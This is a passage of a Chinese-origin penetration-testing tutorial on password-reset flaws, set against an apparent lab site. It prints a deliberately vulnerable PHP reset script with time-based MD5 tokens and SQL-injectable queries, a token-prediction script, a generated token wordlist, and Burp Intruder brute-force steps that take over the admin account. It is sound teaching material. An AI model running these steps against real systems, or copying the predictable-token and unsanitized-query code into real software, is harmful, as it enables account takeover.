100. Network security penetration test - [Chapter 16 of conventional vulnerability mining and utilization] - [password recovery vulnerability and test]

Posted by mouli on Sat, 05 Feb 2022 12:43:34 +0100

In my opinion, no matter those who study safety or engage in safety, they have some feelings and sense of mission!!!

1, Password recovery vulnerability and testing

1. Introduction to password recovery vulnerability

In order to prevent users from forgetting their passwords, most websites provide the function of retrieving passwords. Common ways to retrieve the password are: retrieve the password from the mailbox, retrieve the password according to the password protection problem, retrieve the password according to the mobile phone number, etc. Although these methods can retrieve the password, the implementation methods are different. No matter what kind of password retrieval method, when retrieving the password, in addition to your own user password, if you can retrieve the passwords of other users, there is a password retrieval vulnerability.

Password retrieval vulnerabilities account for a large proportion of logical vulnerabilities. The method of testing password recovery vulnerability is the same as that of other logical vulnerabilities. The two necessary steps are: getting familiar with the business process (password recovery process) and analyzing the HTTP request in the process.

2. Password recovery vulnerability test

(1) Source code audit: forget php

<?php
	include 'init.php';

	
	//The following is the key vulnerability Code: the method of creating token here is simple!!! It is a predictable token!!!
	function create_pass($username,$email){
		$token=md5(time().$username.$email);
		return $token;
	}


	echo '<meta charset="UTF-8">';
	//The following is to verify whether the user exists	
	if($_GET['c']=='forget'){	
		$username= trim($_POST['username']);	
		$re=mysql_query("select * from member where username='{$username}'");	
		$row = mysql_fetch_array($re);	
		$_email = $row['email'];
		if($row){		
			echo "<form method='post' action='?c=email'>";
			echo "user{$row['username']}Please enter the user's mailbox";
			echo "<input type='text' name='email'/>";
			echo "<input type='hidden' name='username' value='{$row['username']}'/>";
			echo "<input type='submit' value='send out key'/></form>";	
		}	
	}
	
	
	//The following is to verify whether the mailbox is legal, and then simulate sending the modified password link containing token to the mailbox
	if($_GET['c']=='email'){
		$username= trim($_POST['username']);
		$re=mysql_query("select * from member where username='{$username}'");
		$row = mysql_fetch_array($re);
		$email= trim($_POST['email']);
		if($email == $row['email']){
			$token=create_pass($row['username'],$row['email']);
			mysql_query("update member set token='{$token}' where id='{$row['id']}'");
			echo "The password has been sent to the email. Please log in to the email to change the password";
			//The function here is incomplete. You should send a password modification link containing a token to the mailbox
			//Here is just a prompt to send a link to the mailbox. We can manually view the database of the target as if we have received a link containing a token.		
		}else{
			echo "Mailbox error, please fill in the corresponding mailbox";
		}	
	}
	
	
	//The following is the password modification page with token sent to the mailbox
	if($_GET['c']=='send'){
		$token = trim($_GET['token']);	
		$re = mysql_query("select * from member where token='{$token}'");
		$row = mysql_fetch_array($re);
		if($row){
			echo "<form method='post' action='?c=pass'>";
			echo "Enter the password you want to change ";
			echo "<input type='text' name='password'/>";
			echo "<input type='hidden' name='token' value='{$token}'/>";
			echo "<input type='submit' value='Change Password'>";			
		}				
	}
	
	
	//The following is to change the password and then save the password into the database
	if($_GET['c']=='pass'){
		$token = $_POST['token'];
		$password =md5(trim($_POST['password']));
		$re = mysql_query("update member set password ='{$password}' where token = '{$token}'");	
		if($re){
			echo "Modified successfully";
		}else{
			echo "Modification failed";		
		}		
	}
	
	
	//The following is the login form
	if($_GET['c']=='login'){
		echo '<form method="post" action="?c=main">';
		echo 'user <input type="text" name="username"><br>';
		echo 'password <input type="password" name="password"><br>';
		echo '<input type="submit" value="Sign in">';
		echo '</form>';			
	}
	
	
	//The following is the judgment login function
	if($_GET['c']=='main'){
		$username = $_POST['username'];
		$password = md5($_POST['password']);
		$re = mysql_query("select * from member where username='{$username}' and password='{$password}'");
		$row = mysql_fetch_array($re);
		if($row){
			echo "{$row['username']} Login succeeded";
		}else{
				echo "Account or password failed";
			}	
	}
	

	//The following is the page to query whether the user exists
	if(empty($_GET['c'])){
		echo '<form method="post" action="?c=forget">';
		echo '<label>Please enter the user you want to query</label>';
		echo '<input type="text" name="username">';
		echo '<input type="submit" value="Retrieve password">';
		echo '</form>';
	}
?>

(2) Normal password retrieval process:

[several key pages]

Target link / user presence query pageEmail password retrieval pagePassword modification page with tokenLogin test page
http://www.webtester.com/forget.php?c=forget?c=send&token=xxxxxx?c=login

[test user and email]

account numbermailbox
adminmoon@moonsec.com

Step 1: visit http://www.webtester.com/forget.php , test whether the admin user exists. If so, jump to http://www.webtester.com/forget.php?c=forget The page begins to retrieve the password

As shown in the figure below, we visit http://www.webtester.com/forget.php , enter the admin user, and then click to retrieve the password. If there is an admin user, it will jump to http://www.webtester.com/forget.php?c=forget page

As shown in the following figure, because the admin user exists, you successfully jump to http://www.webtester.com/forget.php?c=forget The page starts to use the mailbox to retrieve the password

Step 2: use admin moon@moonsec.com Email retrieve password

As shown in the figure below, we enter admin moon@moonsec.com Email, and then click send key to send a password modification link containing token to admin's email.

As shown in the figure below, the e-mail was sent successfully, but through the previous source code analysis, we found that there is no function of sending e-mail here, but the token is stored in the database of the server. Here, we query the token through the database, and then splice a link to change the password. Here, we receive the link as an e-mail.

As shown in the figure below, the token [99f4be12c7cc11bd9f9aa8862d5d2da5] is successfully found, which simulates that the mailbox receives a link to modify the password of the token, that is: http://www.webtester.com/forget.php?c=send&token=99f4be12c7cc11bd9f9aa8862d5d2da5

As shown in the figure below, access the password modification link with token http://www.webtester.com/forget.php?c=send&token=99f4be12c7cc11bd9f9aa8862d5d2da5 , then enter 123456 and click modify password


As shown in the figure below, click modify password to jump to this page http://www.webtester.com/forget.php?c=pass , the successfully modified password is 123456

Step 3: visit the link http://www.webtester.com/forget.php?c=login , the test uses the modified password to log in

As shown in the figure below, login successfully with admin/123456 account:

(3) Password recovery vulnerability analysis:

First point: it mainly depends on whether this function can be predicted

function create_pass($username,$email){
	$token=md5(time().$username.$email);
	return $token;
}
//The result returned by the time() function is the timestamp, which changes every second. If the time zone of the target and the attacker is the same, the token can be predicted

The second point: the principle of generating token

md5(Current timestamp + user name + mailbox)  

Third point: therefore, before submitting and generating the key, that is, before sending the email, we can generate the token within one minute or one hour, and then use BurpSuite to enumerate the links http://www.webtester.com/forget.php?c=send&token=token Value is enough!!! Here, a script is used to generate the token value: token php

<?php
	function create_pass($username,$email){
		$token=md5(time().$username.$email);
		return $token;
	}
	
	for($i=1;$i<=60;$i++){
		//Predict the token value within 1min after the current time
		$timex= create_pass('admin','moon@moonsec.com');
		//admin and moon@moonsec.com Modify according to different users
		write_file($timex."\n");
		echo $i."\r\n";
		sleep(1);	
	}
	
	function write_file($c){
		fwrite(fopen("token.txt", "a+"),$c);
		//Write the token to the token Txt file
	}
?>

(4) Password recovery vulnerability test:

Step 1: visit the link http://www.webtester.com/forget.php , test whether the admin user exists. If the user exists, jump to the mailbox to retrieve the password page http://www.webtester.com/forget.php?c=forget .



Step 2: after that, the email password is retrieved, but we don't want to send a key to the email, that is, send a link to modify the password with a token. We need to execute the script to predict the token just now, Generate a modified password link dictionary with token [it should be noted that the time zone of the attacker and the target must be the same, and the date and time settings are correct]

Generated token Txt content:

b66e6d5b8f47af48e9756e9f7c61a14b
02446e923f8573ee84cc93bc363ac903
9dcb199d7d17dc9a0495c405cabc28f1
6bd64dcf2c69e77751034c769104af97
979dbf72ae359cb62dc1329e90d92f78
369255ee31cda67edd94202ca4d1f8c9
5940d672ffa0458db4bc36872308c42f
53c132621a35ff782bc389f30d6ab1b5
62475b15e6c20a77486bad46c9a68748
d710ff7473a36708a62ae13d2d729944
e918da3b217a02d5d10e18d0059d9052
9b344f5d8fa16e082d158b0ebb352a5a
7d90330c44258e62f86e277da81c6750
27418390e8cef11bb830f8ed0f74febb
ccb4291217a3dccb5237b7b5bd46dff0
dc1df5776d82ff000d500de2339d0f9d
18d9b14384913b81086557e3b2f9dfe0
eaa5feeda9124ca4ad21102cb77636f3
508501bbcd7ee9f9fb40186c1f70aae7
1d776edfc96a56e4a8859ac09b5bb0dc
593a4a986feb9c0581f15adc130951cd
56f433a104d2c42d661ba225fc55b050
70a57e57d34d2f5db4ef2c405bff8d01
3d865d9941b6673628b1388da8c25cad
2140b6f2c360cbd3862311c26cee1f61
ea1a00ea1b494d19e9540552d26a0479
56f3fa106c75b57adf96f6cde114d394
9b66cc8080af4c8c1d45fa3c75eb40a0
661d9519ebaf4453fd18968d543d3300
22597459f1992f49df3e2be348040275
40b860da8c267a7add996d82394a9bf8
48f23633ce7f8a908cce7bd708cc3b40
39ce6fe1c393fddb87e6dc76cc79c495
189e45a9820986fae623a31434808408
5ccfa5113e04d486e7fc5338b98ae80c
85aa24a9912a70568f4769ce8c12a048
72cd7262c01792b67304cdd7e8b35bce
1af45314c90b2ebcdaf597c418f48662
be7dc020dc1b1d7db4beae4968cfe6bf
a6c0ec5c8d6fc8623b97e2a224709220
d1d41a63001c923c49fd2f6a9593c617
e390a0b75a8d938b82da396d803da80a
455a8500935e3a1f0afd66af7cf17c22
6a138add1e609456c726f382af78d59a
506dc5c7ee6fb089ae34b39a8a263984
74902977d7b6afbc0e16bd91d588fe4f
b914c0e4ec7be7216e24ce3107a4378d
58929e1687a60c8d1638a23668819cf8
d27998f9f2cef4f6b3b0c7a44c595d83
c5dd83dc4945a4b4e0f47615340c4dd0
7fd1878d67fc7ce367547a8d99ac56ca
dba74e5a6e1c1e5f9c0c96f4ed5fdfe4
50d3263436d66fb90a6075d437d852fc
bfb393ad7f928abc9cc19042e6ebec66
778d8e587afce2cf40b62952adf7d3cc
8e14b7c723e275d3ae32d1330f20b666
7b43f52d44c2a706aa5fb5e987fccb98
c07d0b63de2583269f89bcbc0e517815
ef5fbd0ff9dd708daa5f63b676a69a80
2b995d79e453c47f787438287962c30b

Step 3: while generating the token in step 2, we are in step 1 http://www.webtester.com/forget.php?c=forget Page, enter mailbox moon@moonsec.com Then click send key to generate a modified password link with token to the email.


Step 4: visit the link http://www.webtester.com/forget.php?c=send&token=xxx , BurpSuite captures the packet, sends it to the Inturder module, and then enumerates the token value of the modified password link containing the token in conjunction with the dictionary generated in the previous step.

As shown in the figure below, it is the intercepted packet:

As shown in the figure below, we send the data packet into the Intruder module, set the attack mode to Sniper and set the token variable

As shown in the following figure, load the token dictionary

As shown in the figure below, set the thread to 16

As shown in the figure below, the token value [dc1df5776d82ff000d500de2339d0f9d] is successfully enumerated

Step 5: visit the password modification link of the exploded token value to modify the password and conduct login test!!!



(5) Vulnerability summary:

Password retrieval vulnerabilities account for a large proportion of logical vulnerabilities. The method of testing password recovery vulnerability is the same as that of other logical vulnerabilities. The two necessary steps are: getting familiar with the business process (password recovery process) and analyzing the HTTP request in the process.

[password retrieval process:]

  1. Verify that there are users
  2. If there are users, the password will be retrieved by email
  3. When the password is retrieved from the mailbox, a password modification link with token value will be sent to the mailbox. Click the password modification link to modify it directly
  4. The biggest problem is that the token value is predictable, that is, $token = MD5 (time()$ username.$ email);

[analysis of HTTP requests in the process:]

  1. Verify that there is a user link: forget php
  2. If any, the user will jump to the email retrieval page: forget php? c=forget
  3. One of the most important is the link sent to the mailbox: forget php? C = send & token = predictable token value
  4. Link to verify user login: forget php? c=login